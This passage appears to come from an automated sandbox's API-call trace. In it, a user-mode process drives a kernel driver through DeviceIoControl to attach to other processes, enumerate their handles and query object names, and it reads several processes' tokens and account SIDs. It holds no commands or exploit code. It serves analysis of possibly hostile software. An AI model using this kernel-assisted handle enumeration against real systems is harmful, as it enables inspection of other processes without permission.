(Object=0xfffffa80020cfd90) returned 0x1 [0094.960] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.960] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.960] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0094.960] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.960] PsAcquireProcessExitSynchronization () returned 0x0 [0094.960] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0) [0094.960] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0094.960] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.960] PsReleaseProcessExitSynchronization () returned 0x2 [0094.960] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0094.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.960] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0094.960] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.960] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.960] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.960] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.960] PsAcquireProcessExitSynchronization () returned 0x0 [0094.960] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0) [0094.960] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.960] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.960] PsReleaseProcessExitSynchronization () returned 0x2 [0094.960] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0094.960] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.960] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.960] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.960] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.960] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0094.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.960] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0094.960] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.961] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0094.961] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.961] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.961] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.961] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.961] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.962] CloseHandle (hObject=0xc8) returned 1 [0094.962] CloseHandle (hObject=0xc0) returned 1 [0094.962] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.962] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.962] PsAcquireProcessExitSynchronization () returned 0x0 [0094.962] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0) [0094.962] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0094.962] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.962] PsReleaseProcessExitSynchronization () returned 0x2 [0094.962] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0094.963] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.963] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0094.963] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.963] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.963] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0094.963] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.963] PsAcquireProcessExitSynchronization () returned 0x0 [0094.963] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0) [0094.963] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0094.963] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.963] PsReleaseProcessExitSynchronization () returned 0x2 [0094.963] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0094.963] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.963] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0094.963] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.963] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.963] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.963] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.963] PsAcquireProcessExitSynchronization () returned 0x0 [0094.963] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880052335d0) [0094.963] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.963] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.963] PsReleaseProcessExitSynchronization () returned 0x2 [0094.963] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0094.963] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.963] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.963] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.963] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.963] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0094.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.963] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0094.963] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.964] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0094.964] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.964] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.964] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.964] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.964] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.965] CloseHandle (hObject=0xc8) returned 1 [0094.965] CloseHandle (hObject=0xc0) returned 1 [0094.965] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.965] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.965] PsAcquireProcessExitSynchronization () returned 0x0 [0094.965] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0) [0094.965] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0094.965] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.965] PsReleaseProcessExitSynchronization () returned 0x2 [0094.965] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0094.965] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.966] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0094.966] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.966] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.966] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.966] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.966] PsAcquireProcessExitSynchronization () returned 0x0 [0094.966] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0) [0094.966] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0094.966] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.966] PsReleaseProcessExitSynchronization () returned 0x2 [0094.966] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0094.966] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.966] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0094.966] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.966] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.966] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.966] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.966] PsAcquireProcessExitSynchronization () returned 0x0 [0094.966] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880052335d0) [0094.966] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.966] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.966] PsReleaseProcessExitSynchronization () returned 0x2 [0094.966] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0094.966] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.966] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.966] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.966] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.966] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0094.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.966] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0094.966] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.967] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0094.967] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.967] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.967] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.967] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.967] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.968] CloseHandle (hObject=0xc8) returned 1 [0094.968] CloseHandle (hObject=0xc0) returned 1 [0094.968] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.968] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.968] PsAcquireProcessExitSynchronization () returned 0x0 [0094.968] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0) [0094.968] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0094.968] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.968] PsReleaseProcessExitSynchronization () returned 0x2 [0094.968] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0094.968] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.968] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0094.968] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.969] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0094.969] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.969] PsAcquireProcessExitSynchronization () returned 0x0 [0094.969] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0) [0094.969] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0094.969] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.969] PsReleaseProcessExitSynchronization () returned 0x2 [0094.969] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0094.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.969] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0094.969] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.969] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.969] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.969] PsAcquireProcessExitSynchronization () returned 0x0 [0094.969] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880052335d0) [0094.969] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.969] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.969] PsReleaseProcessExitSynchronization () returned 0x2 [0094.969] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0094.969] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.969] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.969] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.969] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0094.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.969] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0094.969] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, 